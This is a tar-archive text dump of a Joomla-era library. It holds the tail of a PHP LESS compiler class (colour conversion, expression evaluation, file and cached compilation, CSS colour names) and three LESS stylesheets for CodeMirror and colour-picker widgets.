$S = $color[2] / 100;
$L = $color[3] / 100;
if ($S == 0)
{
$r = $g = $b = $L;
}
else
{
$temp2 = $L < 0.5 ?
$L * (1.0 + $S) :
$L + $S - $L * $S;
$temp1 = 2.0 * $L - $temp2;
$r = $this->toRGB_helper($H + 1 / 3, $temp1, $temp2);
$g = $this->toRGB_helper($H, $temp1, $temp2);
$b = $this->toRGB_helper($H - 1 / 3, $temp1, $temp2);
}
// $out = array('color', round($r*255), round($g*255),
round($b*255));
$out = array('color', $r * 255, $g * 255, $b * 255);
if (count($color) > 4)
{
// Copy alpha
$out[] = $color[4];
}
return $out;
}
/**
* Clamp
*
* @param type $v X
* @param type $max X
* @param type $min X
*
* @return type
*/
protected function clamp($v, $max = 1, $min = 0)
{
return min($max, max($min, $v));
}
/**
* Convert the rgb, rgba, hsl color literals of function type
* as returned by the parser into values of color type.
*
* @param type $func X
*
* @return type
*/
protected function funcToColor($func)
{
$fname = $func[1];
if ($func[2][0] != 'list')
{
// Need a list of arguments
return false;
}
$rawComponents = $func[2][2];
if ($fname == 'hsl' || $fname == 'hsla')
{
$hsl = array('hsl');
$i = 0;
foreach ($rawComponents as $c)
{
$val = $this->reduce($c);
$val = isset($val[1]) ? floatval($val[1]) : 0;
if ($i == 0)
{
$clamp = 360;
}
elseif ($i < 3)
{
$clamp = 100;
}
else
{
$clamp = 1;
}
$hsl[] = $this->clamp($val, $clamp);
$i++;
}
while (count($hsl) < 4)
{
$hsl[] = 0;
}
return $this->toRGB($hsl);
}
elseif ($fname == 'rgb' || $fname == 'rgba')
{
$components = array();
$i = 1;
foreach ($rawComponents as $c)
{
$c = $this->reduce($c);
if ($i < 4)
{
if ($c[0] == "number" && $c[2] == "%")
{
$components[] = 255 * ($c[1] / 100);
}
else
{
$components[] = floatval($c[1]);
}
}
elseif ($i == 4)
{
if ($c[0] == "number" && $c[2] == "%")
{
$components[] = 1.0 * ($c[1] / 100);
}
else
{
$components[] = floatval($c[1]);
}
}
else
{
break;
}
$i++;
}
while (count($components) < 3)
{
$components[] = 0;
}
array_unshift($components, 'color');
return $this->fixColor($components);
}
return false;
}
/**
* Reduce
*
* @param type $value X
* @param type $forExpression X
*
* @return type
*/
protected function reduce($value, $forExpression = false)
{
switch ($value[0])
{
case "interpolate":
$reduced = $this->reduce($value[1]);
$var = $this->compileValue($reduced);
$res = $this->reduce(array("variable",
$this->vPrefix . $var));
if (empty($value[2]))
{
$res = $this->lib_e($res);
}
return $res;
case "variable":
$key = $value[1];
if (is_array($key))
{
$key = $this->reduce($key);
$key = $this->vPrefix .
$this->compileValue($this->lib_e($key));
}
$seen = & $this->env->seenNames;
if (!empty($seen[$key]))
{
$this->throwError("infinite loop detected: $key");
}
$seen[$key] = true;
$out = $this->reduce($this->get($key, self::$defaultValue));
$seen[$key] = false;
return $out;
case "list":
foreach ($value[2] as &$item)
{
$item = $this->reduce($item, $forExpression);
}
return $value;
case "expression":
return $this->evaluate($value);
case "string":
foreach ($value[2] as &$part)
{
if (is_array($part))
{
$strip = $part[0] == "variable";
$part = $this->reduce($part);
if ($strip)
{
$part = $this->lib_e($part);
}
}
}
return $value;
case "escape":
list(, $inner) = $value;
return $this->lib_e($this->reduce($inner));
case "function":
$color = $this->funcToColor($value);
if ($color)
{
return $color;
}
list(, $name, $args) = $value;
if ($name == "%")
{
$name = "_sprintf";
}
$f = isset($this->libFunctions[$name]) ?
$this->libFunctions[$name] : array($this, 'lib_' .
$name);
if (is_callable($f))
{
if ($args[0] == 'list')
{
$args = self::compressList($args[2], $args[1]);
}
$ret = call_user_func($f, $this->reduce($args, true), $this);
if (is_null($ret))
{
return array("string", "", array(
$name, "(", $args, ")"
));
}
// Convert to a typed value if the result is a php primitive
if (is_numeric($ret))
{
$ret = array('number', $ret, "");
}
elseif (!is_array($ret))
{
$ret = array('keyword', $ret);
}
return $ret;
}
// Plain function, reduce args
$value[2] = $this->reduce($value[2]);
return $value;
case "unary":
list(, $op, $exp) = $value;
$exp = $this->reduce($exp);
if ($exp[0] == "number")
{
switch ($op)
{
case "+":
return $exp;
case "-":
$exp[1] *= -1;
return $exp;
}
}
return array("string", "", array($op, $exp));
}
if ($forExpression)
{
switch ($value[0])
{
case "keyword":
if ($color = $this->coerceColor($value))
{
return $color;
}
break;
case "raw_color":
return $this->coerceColor($value);
}
}
return $value;
}
/**
* Coerce a value for use in color operation
*
* @param type $value X
*
* @return null
*/
protected function coerceColor($value)
{
switch ($value[0])
{
case 'color':
return $value;
case 'raw_color':
$c = array("color", 0, 0, 0);
$colorStr = substr($value[1], 1);
$num = hexdec($colorStr);
$width = strlen($colorStr) == 3 ? 16 : 256;
for ($i = 3; $i > 0; $i--)
{
// It's 3 2 1
$t = $num % $width;
$num /= $width;
$c[$i] = $t * (256 / $width) + $t * floor(16 / $width);
}
return $c;
case 'keyword':
$name = $value[1];
if (isset(self::$cssColors[$name]))
{
$rgba = explode(',', self::$cssColors[$name]);
if (isset($rgba[3]))
{
return array('color', $rgba[0], $rgba[1], $rgba[2],
$rgba[3]);
}
return array('color', $rgba[0], $rgba[1], $rgba[2]);
}
return null;
}
}
/**
* Make something string like into a string
*
* @param type $value X
*
* @return null
*/
protected function coerceString($value)
{
switch ($value[0])
{
case "string":
return $value;
case "keyword":
return array("string", "", array($value[1]));
}
return null;
}
/**
* Turn list of length 1 into value type
*
* @param type $value X
*
* @return type
*/
protected function flattenList($value)
{
if ($value[0] == "list" && count($value[2]) == 1)
{
return $this->flattenList($value[2][0]);
}
return $value;
}
/**
* To bool
*
* @param type $a X
*
* @return type
*/
protected function toBool($a)
{
if ($a)
{
return self::$TRUE;
}
else
{
return self::$FALSE;
}
}
/**
* Evaluate an expression
*
* @param type $exp X
*
* @return type
*/
protected function evaluate($exp)
{
list(, $op, $left, $right, $whiteBefore, $whiteAfter) = $exp;
$left = $this->reduce($left, true);
$right = $this->reduce($right, true);
if ($leftColor = $this->coerceColor($left))
{
$left = $leftColor;
}
if ($rightColor = $this->coerceColor($right))
{
$right = $rightColor;
}
$ltype = $left[0];
$rtype = $right[0];
// Operators that work on all types
if ($op == "and")
{
return $this->toBool($left == self::$TRUE && $right ==
self::$TRUE);
}
if ($op == "=")
{
return $this->toBool($this->eq($left, $right));
}
if ($op == "+" && !is_null($str =
$this->stringConcatenate($left, $right)))
{
return $str;
}
// Type based operators
$fname = "op_${ltype}_${rtype}";
if (is_callable(array($this, $fname)))
{
$out = $this->$fname($op, $left, $right);
if (!is_null($out))
{
return $out;
}
}
// Make the expression look it did before being parsed
$paddedOp = $op;
if ($whiteBefore)
{
$paddedOp = " " . $paddedOp;
}
if ($whiteAfter)
{
$paddedOp .= " ";
}
return array("string", "", array($left, $paddedOp,
$right));
}
/**
* String concatenate
*
* @param type $left X
* @param string $right X
*
* @return string
*/
protected function stringConcatenate($left, $right)
{
if ($strLeft = $this->coerceString($left))
{
if ($right[0] == "string")
{
$right[1] = "";
}
$strLeft[2][] = $right;
return $strLeft;
}
if ($strRight = $this->coerceString($right))
{
array_unshift($strRight[2], $left);
return $strRight;
}
}
/**
* Make sure a color's components don't go out of bounds
*
* @param type $c X
*
* @return int
*/
protected function fixColor($c)
{
foreach (range(1, 3) as $i)
{
if ($c[$i] < 0)
{
$c[$i] = 0;
}
if ($c[$i] > 255)
{
$c[$i] = 255;
}
}
return $c;
}
/**
* Op number color
*
* @param type $op X
* @param type $lft X
* @param type $rgt X
*
* @return type
*/
protected function op_number_color($op, $lft, $rgt)
{
if ($op == '+' || $op == '*')
{
return $this->op_color_number($op, $rgt, $lft);
}
}
/**
* Op color number
*
* @param type $op X
* @param type $lft X
* @param int $rgt X
*
* @return type
*/
protected function op_color_number($op, $lft, $rgt)
{
if ($rgt[0] == '%')
{
$rgt[1] /= 100;
}
return $this->op_color_color($op, $lft, array_fill(1, count($lft) - 1,
$rgt[1]));
}
/**
* Op color color
*
* @param type $op X
* @param type $left X
* @param type $right X
*
* @return type
*/
protected function op_color_color($op, $left, $right)
{
$out = array('color');
$max = count($left) > count($right) ? count($left) : count($right);
foreach (range(1, $max - 1) as $i)
{
$lval = isset($left[$i]) ? $left[$i] : 0;
$rval = isset($right[$i]) ? $right[$i] : 0;
switch ($op)
{
case '+':
$out[] = $lval + $rval;
break;
case '-':
$out[] = $lval - $rval;
break;
case '*':
$out[] = $lval * $rval;
break;
case '%':
$out[] = $lval % $rval;
break;
case '/':
if ($rval == 0)
{
$this->throwError("evaluate error: can't divide by
zero");
}
$out[] = $lval / $rval;
break;
default:
$this->throwError('evaluate error: color op number failed on
op ' . $op);
}
}
return $this->fixColor($out);
}
/**
* Lib red
*
* @param type $color X
*
* @return type
*/
public function lib_red($color)
{
$color = $this->coerceColor($color);
if (is_null($color))
{
$this->throwError('color expected for red()');
}
return $color[1];
}
/**
* Lib green
*
* @param type $color X
*
* @return type
*/
public function lib_green($color)
{
$color = $this->coerceColor($color);
if (is_null($color))
{
$this->throwError('color expected for green()');
}
return $color[2];
}
/**
* Lib blue
*
* @param type $color X
*
* @return type
*/
public function lib_blue($color)
{
$color = $this->coerceColor($color);
if (is_null($color))
{
$this->throwError('color expected for blue()');
}
return $color[3];
}
/**
* Operator on two numbers
*
* @param type $op X
* @param type $left X
* @param type $right X
*
* @return type
*/
protected function op_number_number($op, $left, $right)
{
$unit = empty($left[2]) ? $right[2] : $left[2];
$value = 0;
switch ($op)
{
case '+':
$value = $left[1] + $right[1];
break;
case '*':
$value = $left[1] * $right[1];
break;
case '-':
$value = $left[1] - $right[1];
break;
case '%':
$value = $left[1] % $right[1];
break;
case '/':
if ($right[1] == 0)
{
$this->throwError('parse error: divide by zero');
}
$value = $left[1] / $right[1];
break;
case '<':
return $this->toBool($left[1] < $right[1]);
case '>':
return $this->toBool($left[1] > $right[1]);
case '>=':
return $this->toBool($left[1] >= $right[1]);
case '=<':
return $this->toBool($left[1] <= $right[1]);
default:
$this->throwError('parse error: unknown number operator: '
. $op);
}
return array("number", $value, $unit);
}
/**
* Make output block
*
* @param type $type X
* @param type $selectors X
*
* @return stdclass
*/
protected function makeOutputBlock($type, $selectors = null)
{
$b = new stdclass;
$b->lines = array();
$b->children = array();
$b->selectors = $selectors;
$b->type = $type;
$b->parent = $this->scope;
return $b;
}
/**
* The state of execution
*
* @param type $block X
*
* @return stdclass
*/
protected function pushEnv($block = null)
{
$e = new stdclass;
$e->parent = $this->env;
$e->store = array();
$e->block = $block;
$this->env = $e;
return $e;
}
/**
* Pop something off the stack
*
* @return type
*/
protected function popEnv()
{
$old = $this->env;
$this->env = $this->env->parent;
return $old;
}
/**
* Set something in the current env
*
* @param type $name X
* @param type $value X
*
* @return void
*/
protected function set($name, $value)
{
$this->env->store[$name] = $value;
}
/**
* Get the highest occurrence entry for a name
*
* @param type $name X
* @param type $default X
*
* @return type
*/
protected function get($name, $default = null)
{
$current = $this->env;
$isArguments = $name == $this->vPrefix . 'arguments';
while ($current)
{
if ($isArguments && isset($current->arguments))
{
return array('list', ' ', $current->arguments);
}
if (isset($current->store[$name]))
{
return $current->store[$name];
}
else
{
$current = isset($current->storeParent) ?
$current->storeParent : $current->parent;
}
}
return $default;
}
/**
* Inject array of unparsed strings into environment as variables
*
* @param type $args X
*
* @return void
*
* @throws Exception
*/
protected function injectVariables($args)
{
$this->pushEnv();
/** FOF -- BEGIN CHANGE * */
$parser = new FOFLessParser($this, __METHOD__);
/** FOF -- END CHANGE * */
foreach ($args as $name => $strValue)
{
if ($name[0] != '@')
{
$name = '@' . $name;
}
$parser->count = 0;
$parser->buffer = (string) $strValue;
if (!$parser->propertyValue($value))
{
throw new Exception("failed to parse passed in variable $name:
$strValue");
}
$this->set($name, $value);
}
}
/**
* Initialize any static state, can initialize parser for a file
*
* @param type $fname X
*/
public function __construct($fname = null)
{
if ($fname !== null)
{
// Used for deprecated parse method
$this->_parseFile = $fname;
}
}
/**
* Compile
*
* @param type $string X
* @param type $name X
*
* @return type
*/
public function compile($string, $name = null)
{
$locale = setlocale(LC_NUMERIC, 0);
setlocale(LC_NUMERIC, "C");
$this->parser = $this->makeParser($name);
$root = $this->parser->parse($string);
$this->env = null;
$this->scope = null;
$this->formatter = $this->newFormatter();
if (!empty($this->registeredVars))
{
$this->injectVariables($this->registeredVars);
}
// Used for error messages
$this->sourceParser = $this->parser;
$this->compileBlock($root);
ob_start();
$this->formatter->block($this->scope);
$out = ob_get_clean();
setlocale(LC_NUMERIC, $locale);
return $out;
}
/**
* Compile file
*
* @param type $fname X
* @param type $outFname X
*
* @return type
*
* @throws Exception
*/
public function compileFile($fname, $outFname = null)
{
if (!is_readable($fname))
{
throw new Exception('load error: failed to find ' . $fname);
}
$pi = pathinfo($fname);
$oldImport = $this->importDir;
$this->importDir = (array) $this->importDir;
$this->importDir[] = $pi['dirname'] . '/';
$this->allParsedFiles = array();
$this->addParsedFile($fname);
$out = $this->compile(file_get_contents($fname), $fname);
$this->importDir = $oldImport;
if ($outFname !== null)
{
/** FOF - BEGIN CHANGE * */
return
FOFPlatform::getInstance()->getIntegrationObject('filesystem')->fileWrite($outFname,
$out);
/** FOF - END CHANGE * */
}
return $out;
}
/**
* Compile only if changed input has changed or output doesn't exist
*
* @param type $in X
* @param type $out X
*
* @return boolean
*/
public function checkedCompile($in, $out)
{
if (!is_file($out) || filemtime($in) > filemtime($out))
{
$this->compileFile($in, $out);
return true;
}
return false;
}
/**
* Execute lessphp on a .less file or a lessphp cache structure
*
* The lessphp cache structure contains information about a specific
* less file having been parsed. It can be used as a hint for future
* calls to determine whether or not a rebuild is required.
*
* The cache structure contains two important keys that may be used
* externally:
*
* compiled: The final compiled CSS
* updated: The time (in seconds) the CSS was last compiled
*
* The cache structure is a plain-ol' PHP associative array and can
* be serialized and unserialized without a hitch.
*
* @param mixed $in Input
* @param bool $force Force rebuild?
*
* @return array lessphp cache structure
*/
public function cachedCompile($in, $force = false)
{
// Assume no root
$root = null;
if (is_string($in))
{
$root = $in;
}
elseif (is_array($in) and isset($in['root']))
{
if ($force or !isset($in['files']))
{
/**
* If we are forcing a recompile or if for some reason the
* structure does not contain any file information we should
* specify the root to trigger a rebuild.
*/
$root = $in['root'];
}
elseif (isset($in['files']) and
is_array($in['files']))
{
foreach ($in['files'] as $fname => $ftime)
{
if (!file_exists($fname) or filemtime($fname) > $ftime)
{
/**
* One of the files we knew about previously has changed
* so we should look at our incoming root again.
*/
$root = $in['root'];
break;
}
}
}
}
else
{
/**
* TODO: Throw an exception? We got neither a string nor something
* that looks like a compatible lessphp cache structure.
*/
return null;
}
if ($root !== null)
{
// If we have a root value which means we should rebuild.
$out = array();
$out['root'] = $root;
$out['compiled'] = $this->compileFile($root);
$out['files'] = $this->allParsedFiles();
$out['updated'] = time();
return $out;
}
else
{
// No changes, pass back the structure
// we were given initially.
return $in;
}
}
//
// This is deprecated
/**
* Parse and compile buffer
*
* @param null $str X
* @param type $initialVariables X
*
* @return type
*
* @throws Exception
*
* @deprecated 2.0
*/
public function parse($str = null, $initialVariables = null)
{
if (is_array($str))
{
$initialVariables = $str;
$str = null;
}
$oldVars = $this->registeredVars;
if ($initialVariables !== null)
{
$this->setVariables($initialVariables);
}
if ($str == null)
{
if (empty($this->_parseFile))
{
throw new exception("nothing to parse");
}
$out = $this->compileFile($this->_parseFile);
}
else
{
$out = $this->compile($str);
}
$this->registeredVars = $oldVars;
return $out;
}
/**
* Make parser
*
* @param type $name X
*
* @return FOFLessParser
*/
protected function makeParser($name)
{
/** FOF -- BEGIN CHANGE * */
$parser = new FOFLessParser($this, $name);
/** FOF -- END CHANGE * */
$parser->writeComments = $this->preserveComments;
return $parser;
}
/**
* Set Formatter
*
* @param type $name X
*
* @return void
*/
public function setFormatter($name)
{
$this->formatterName = $name;
}
/**
* New formatter
*
* @return FOFLessFormatterLessjs
*/
protected function newFormatter()
{
/** FOF -- BEGIN CHANGE * */
$className = "FOFLessFormatterLessjs";
/** FOF -- END CHANGE * */
if (!empty($this->formatterName))
{
if (!is_string($this->formatterName))
return $this->formatterName;
/** FOF -- BEGIN CHANGE * */
$className = "FOFLessFormatter" .
ucfirst($this->formatterName);
/** FOF -- END CHANGE * */
}
return new $className;
}
/**
* Set preserve comments
*
* @param type $preserve X
*
* @return void
*/
public function setPreserveComments($preserve)
{
$this->preserveComments = $preserve;
}
/**
* Register function
*
* @param type $name X
* @param type $func X
*
* @return void
*/
public function registerFunction($name, $func)
{
$this->libFunctions[$name] = $func;
}
/**
* Unregister function
*
* @param type $name X
*
* @return void
*/
public function unregisterFunction($name)
{
unset($this->libFunctions[$name]);
}
/**
* Set variables
*
* @param type $variables X
*
* @return void
*/
public function setVariables($variables)
{
$this->registeredVars = array_merge($this->registeredVars,
$variables);
}
/**
* Unset variable
*
* @param type $name X
*
* @return void
*/
public function unsetVariable($name)
{
unset($this->registeredVars[$name]);
}
/**
* Set import dir
*
* @param type $dirs X
*
* @return void
*/
public function setImportDir($dirs)
{
$this->importDir = (array) $dirs;
}
/**
* Add import dir
*
* @param type $dir X
*
* @return void
*/
public function addImportDir($dir)
{
$this->importDir = (array) $this->importDir;
$this->importDir[] = $dir;
}
/**
* All parsed files
*
* @return type
*/
public function allParsedFiles()
{
return $this->allParsedFiles;
}
/**
* Add parsed file
*
* @param type $file X
*
* @return void
*/
protected function addParsedFile($file)
{
$this->allParsedFiles[realpath($file)] = filemtime($file);
}
/**
* Uses the current value of $this->count to show line and line number
*
* @param type $msg X
*
* @return void
*/
protected function throwError($msg = null)
{
if ($this->sourceLoc >= 0)
{
$this->sourceParser->throwError($msg, $this->sourceLoc);
}
throw new exception($msg);
}
/**
* Compile file $in to file $out if $in is newer than $out
* Returns true when it compiles, false otherwise
*
* @param type $in X
* @param type $out X
* @param self $less X
*
* @return type
*/
public static function ccompile($in, $out, $less = null)
{
if ($less === null)
{
$less = new self;
}
return $less->checkedCompile($in, $out);
}
/**
* Compile execute
*
* @param type $in X
* @param type $force X
* @param self $less X
*
* @return type
*/
public static function cexecute($in, $force = false, $less = null)
{
if ($less === null)
{
$less = new self;
}
return $less->cachedCompile($in, $force);
}
protected static $cssColors = array(
'aliceblue' => '240,248,255',
'antiquewhite' => '250,235,215',
'aqua' => '0,255,255',
'aquamarine' => '127,255,212',
'azure' => '240,255,255',
'beige' => '245,245,220',
'bisque' => '255,228,196',
'black' => '0,0,0',
'blanchedalmond' => '255,235,205',
'blue' => '0,0,255',
'blueviolet' => '138,43,226',
'brown' => '165,42,42',
'burlywood' => '222,184,135',
'cadetblue' => '95,158,160',
'chartreuse' => '127,255,0',
'chocolate' => '210,105,30',
'coral' => '255,127,80',
'cornflowerblue' => '100,149,237',
'cornsilk' => '255,248,220',
'crimson' => '220,20,60',
'cyan' => '0,255,255',
'darkblue' => '0,0,139',
'darkcyan' => '0,139,139',
'darkgoldenrod' => '184,134,11',
'darkgray' => '169,169,169',
'darkgreen' => '0,100,0',
'darkgrey' => '169,169,169',
'darkkhaki' => '189,183,107',
'darkmagenta' => '139,0,139',
'darkolivegreen' => '85,107,47',
'darkorange' => '255,140,0',
'darkorchid' => '153,50,204',
'darkred' => '139,0,0',
'darksalmon' => '233,150,122',
'darkseagreen' => '143,188,143',
'darkslateblue' => '72,61,139',
'darkslategray' => '47,79,79',
'darkslategrey' => '47,79,79',
'darkturquoise' => '0,206,209',
'darkviolet' => '148,0,211',
'deeppink' => '255,20,147',
'deepskyblue' => '0,191,255',
'dimgray' => '105,105,105',
'dimgrey' => '105,105,105',
'dodgerblue' => '30,144,255',
'firebrick' => '178,34,34',
'floralwhite' => '255,250,240',
'forestgreen' => '34,139,34',
'fuchsia' => '255,0,255',
'gainsboro' => '220,220,220',
'ghostwhite' => '248,248,255',
'gold' => '255,215,0',
'goldenrod' => '218,165,32',
'gray' => '128,128,128',
'green' => '0,128,0',
'greenyellow' => '173,255,47',
'grey' => '128,128,128',
'honeydew' => '240,255,240',
'hotpink' => '255,105,180',
'indianred' => '205,92,92',
'indigo' => '75,0,130',
'ivory' => '255,255,240',
'khaki' => '240,230,140',
'lavender' => '230,230,250',
'lavenderblush' => '255,240,245',
'lawngreen' => '124,252,0',
'lemonchiffon' => '255,250,205',
'lightblue' => '173,216,230',
'lightcoral' => '240,128,128',
'lightcyan' => '224,255,255',
'lightgoldenrodyellow' => '250,250,210',
'lightgray' => '211,211,211',
'lightgreen' => '144,238,144',
'lightgrey' => '211,211,211',
'lightpink' => '255,182,193',
'lightsalmon' => '255,160,122',
'lightseagreen' => '32,178,170',
'lightskyblue' => '135,206,250',
'lightslategray' => '119,136,153',
'lightslategrey' => '119,136,153',
'lightsteelblue' => '176,196,222',
'lightyellow' => '255,255,224',
'lime' => '0,255,0',
'limegreen' => '50,205,50',
'linen' => '250,240,230',
'magenta' => '255,0,255',
'maroon' => '128,0,0',
'mediumaquamarine' => '102,205,170',
'mediumblue' => '0,0,205',
'mediumorchid' => '186,85,211',
'mediumpurple' => '147,112,219',
'mediumseagreen' => '60,179,113',
'mediumslateblue' => '123,104,238',
'mediumspringgreen' => '0,250,154',
'mediumturquoise' => '72,209,204',
'mediumvioletred' => '199,21,133',
'midnightblue' => '25,25,112',
'mintcream' => '245,255,250',
'mistyrose' => '255,228,225',
'moccasin' => '255,228,181',
'navajowhite' => '255,222,173',
'navy' => '0,0,128',
'oldlace' => '253,245,230',
'olive' => '128,128,0',
'olivedrab' => '107,142,35',
'orange' => '255,165,0',
'orangered' => '255,69,0',
'orchid' => '218,112,214',
'palegoldenrod' => '238,232,170',
'palegreen' => '152,251,152',
'paleturquoise' => '175,238,238',
'palevioletred' => '219,112,147',
'papayawhip' => '255,239,213',
'peachpuff' => '255,218,185',
'peru' => '205,133,63',
'pink' => '255,192,203',
'plum' => '221,160,221',
'powderblue' => '176,224,230',
'purple' => '128,0,128',
'red' => '255,0,0',
'rosybrown' => '188,143,143',
'royalblue' => '65,105,225',
'saddlebrown' => '139,69,19',
'salmon' => '250,128,114',
'sandybrown' => '244,164,96',
'seagreen' => '46,139,87',
'seashell' => '255,245,238',
'sienna' => '160,82,45',
'silver' => '192,192,192',
'skyblue' => '135,206,235',
'slateblue' => '106,90,205',
'slategray' => '112,128,144',
'slategrey' => '112,128,144',
'snow' => '255,250,250',
'springgreen' => '0,255,127',
'steelblue' => '70,130,180',
'tan' => '210,180,140',
'teal' => '0,128,128',
'thistle' => '216,191,216',
'tomato' => '255,99,71',
'transparent' => '0,0,0,0',
'turquoise' => '64,224,208',
'violet' => '238,130,238',
'wheat' => '245,222,179',
'white' => '255,255,255',
'whitesmoke' => '245,245,245',
'yellow' => '255,255,0',
'yellowgreen' => '154,205,50'
);
}
codemirror.less000064400000001774151157470760007627 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
@import "init.less";
.rl_codemirror {
.CodeMirror {
height: 100px;
min-height: 100px;
max-height: none;
padding-bottom: 15px;
}
.cm-resize-handle {
position: relative;
background: #f7f7f7;
height: 15px;
user-select: none;
cursor: ns-resize;
border-top: 1px solid #cccccc;
border-bottom: 1px solid #cccccc;
z-index: 2;
&:before {
position: absolute;
left: 50%;
content: '\2261'; /*
https://en.wikipedia.org/wiki/Triple_bar */
color: #999999;
line-height: 13px;
font-size: 15px;
}
&:hover {
background: #f0f0f0;
}
&:hover:before {
color: black;
}
}
}
color.less000064400000014304151157470760006571 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/**
* BASED ON:
* jQuery MiniColors: A tiny color picker built on jQuery
* Copyright Cory LaViska for A Beautiful Site, LLC.
(http://www.abeautifulsite.net/)
* Dual-licensed under the MIT and GPL Version 2 licenses
*/
@import "init.less";
.minicolors {
position: relative;
display: inline-block;
z-index: 11;
}
.minicolors-focus {
z-index: 12;
}
.minicolors.minicolors-theme-default .minicolors-input {
margin: 0;
border: solid 1px #cccccc;
font: 14px sans-serif;
width: 65px;
height: 16px;
.border-radius(0);
.box-shadow(~"inset 0 2px 4px rgba(0, 0, 0, .04)");
padding: 2px;
margin-right: -1px;
}
.minicolors-theme-default.minicolors .minicolors-input {
vertical-align: middle;
outline: none;
}
.minicolors-theme-default.minicolors-swatch-left .minicolors-input {
margin-left: -1px;
margin-right: auto;
}
.minicolors-theme-default.minicolors-focus .minicolors-input,
.minicolors-theme-default.minicolors-focus .minicolors-swatch {
border-color: #999999;
}
.minicolors-hidden {
position: absolute;
left: -9999em;
}
.minicolors-swatch {
position: relative;
width: 20px;
height: 20px;
text-align: left;
background: url(../images/minicolors.png) -80px 0;
border: solid 1px #cccccc;
vertical-align: middle;
display: inline-block;
}
.minicolors-swatch span {
position: absolute;
width: 100%;
height: 100%;
background: none;
.box-shadow(~"inset 0 9px 0 rgba(255, 255, 255, .1)");
display: inline-block;
}
// Panel
.minicolors-panel {
position: absolute;
top: 26px;
left: 0;
width: 173px;
height: 152px;
background: white;
border: solid 1px #cccccc;
.box-shadow(~"0 0 20px rgba(0, 0, 0, .2)");
display: none;
}
.minicolors-position-top .minicolors-panel {
top: -156px;
}
.minicolors-position-left .minicolors-panel {
left: -83px;
}
.minicolors-position-left.minicolors-with-opacity .minicolors-panel {
left: -104px;
}
.minicolors-with-opacity .minicolors-panel {
width: 194px;
}
.minicolors .minicolors-grid {
position: absolute;
top: 1px;
left: 1px;
width: 150px;
height: 150px;
background: url(../images/minicolors.png) -120px 0;
cursor: crosshair;
}
.minicolors .minicolors-grid-inner {
position: absolute;
top: 0;
left: 0;
width: 150px;
height: 150px;
background: none;
}
.minicolors-slider-saturation .minicolors-grid {
background-position: -420px 0;
}
.minicolors-slider-saturation .minicolors-grid-inner {
background: url(../images/minicolors.png) -270px 0;
}
.minicolors-slider-brightness .minicolors-grid {
background-position: -570px 0;
}
.minicolors-slider-brightness .minicolors-grid-inner {
background: black;
}
.minicolors-slider-wheel .minicolors-grid {
background-position: -720px 0;
}
.minicolors-slider,
.minicolors-opacity-slider {
position: absolute;
top: 1px;
left: 152px;
width: 20px;
height: 150px;
background: white url(../images/minicolors.png) 0 0;
cursor: crosshair;
}
.minicolors-slider-saturation .minicolors-slider {
background-position: -60px 0;
}
.minicolors-slider-brightness .minicolors-slider {
background-position: -20px 0;
}
.minicolors-slider-wheel .minicolors-slider {
background-position: -20px 0;
}
.minicolors-opacity-slider {
left: 173px;
background-position: -40px 0;
display: none;
}
.minicolors-with-opacity .minicolors-opacity-slider {
display: block;
}
// Pickers
.minicolors-grid .minicolors-picker {
position: absolute;
top: 70px;
left: 70px;
width: 10px;
height: 10px;
border: solid 1px black;
.border-radius(10px);
margin-top: -6px;
margin-left: -6px;
background: none;
}
.minicolors-grid .minicolors-picker span {
position: absolute;
top: 0;
left: 0;
width: 6px;
height: 6px;
.border-radius(6px);
border: solid 2px white;
}
.minicolors-picker {
position: absolute;
top: 0;
left: 0;
width: 18px;
height: 2px;
background: white;
border: solid 1px black;
margin-top: -2px;
}
// Inline controls
.minicolors-inline .minicolors-input,
.minicolors-inline .minicolors-swatch {
display: none;
}
.minicolors-inline .minicolors-panel {
position: relative;
top: auto;
left: auto;
display: inline-block;
}
// Bootstrap Theme (theme: 'bootstrap')
// Input styles
.minicolors-theme-bootstrap .minicolors-input {
padding: 4px 6px;
padding-left: 30px;
background-color: white;
border: 1px solid #cccccc;
.border-radius(3px);
color: #555555;
font-family: Arial, 'Helvetica Neue', Helvetica,
sans-serif;
font-size: 14px;
height: 19px;
margin: 0;
.box-shadow(~"inset 0 1px 1px rgba(0, 0, 0, 0.075)");
}
// When the input has focus
.minicolors-theme-bootstrap.minicolors-focus .minicolors-input {
border-color: #6fb8f1;
.box-shadow(~"0 0 10px #6fb8f1");
outline: none;
}
// Swatch styles
.minicolors-theme-bootstrap .minicolors-swatch {
position: absolute;
left: 4px;
top: 4px;
z-index: 12;
}
// Handle swatch position (left = default / right)
.minicolors-theme-bootstrap.minicolors-swatch-position-right
.minicolors-input {
padding-left: 6px;
padding-right: 30px;
}
.minicolors-theme-bootstrap.minicolors-swatch-position-right
.minicolors-swatch {
left: auto;
right: 4px;
}
// Panel styles
.minicolors-theme-bootstrap .minicolors-panel {
top: 28px;
z-index: 13;
}
// Handle panel positions (top / left)
.minicolors-theme-bootstrap.minicolors-position-top .minicolors-panel {
top: -154px;
}
.minicolors-theme-bootstrap.minicolors-position-left .minicolors-panel {
left: -63px;
}
// Don't forget to adjust the left position in case the opacity slider
is visible!
.minicolors-theme-bootstrap.minicolors-position-left.minicolors-with-opacity
.minicolors-panel {
left: -84px;
}
colorpicker.less000064400000004035151157470760007767 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/**
* LOOSELY BASED ON:
* Very simple jQuery Color Picker
* Copyright (C) 2012 Tanguy Krotoff
* Licensed under the MIT license
*/
@import "init.less";
.rl_colorpicker-swatch {
cursor: pointer;
position: relative;
width: 20px;
height: 20px;
text-align: left;
background: url(../images/minicolors.png) -80px 0;
border: solid 1px #cccccc;
vertical-align: middle;
display: inline-block;
.border-radius(3px);
overflow: hidden;
}
.rl_colorpicker-swatch span {
position: absolute;
width: 100%;
height: 100%;
background: none;
.box-shadow(~"inset 0 9px 0 rgba(255, 255, 255, .1)");
display: inline-block;
}
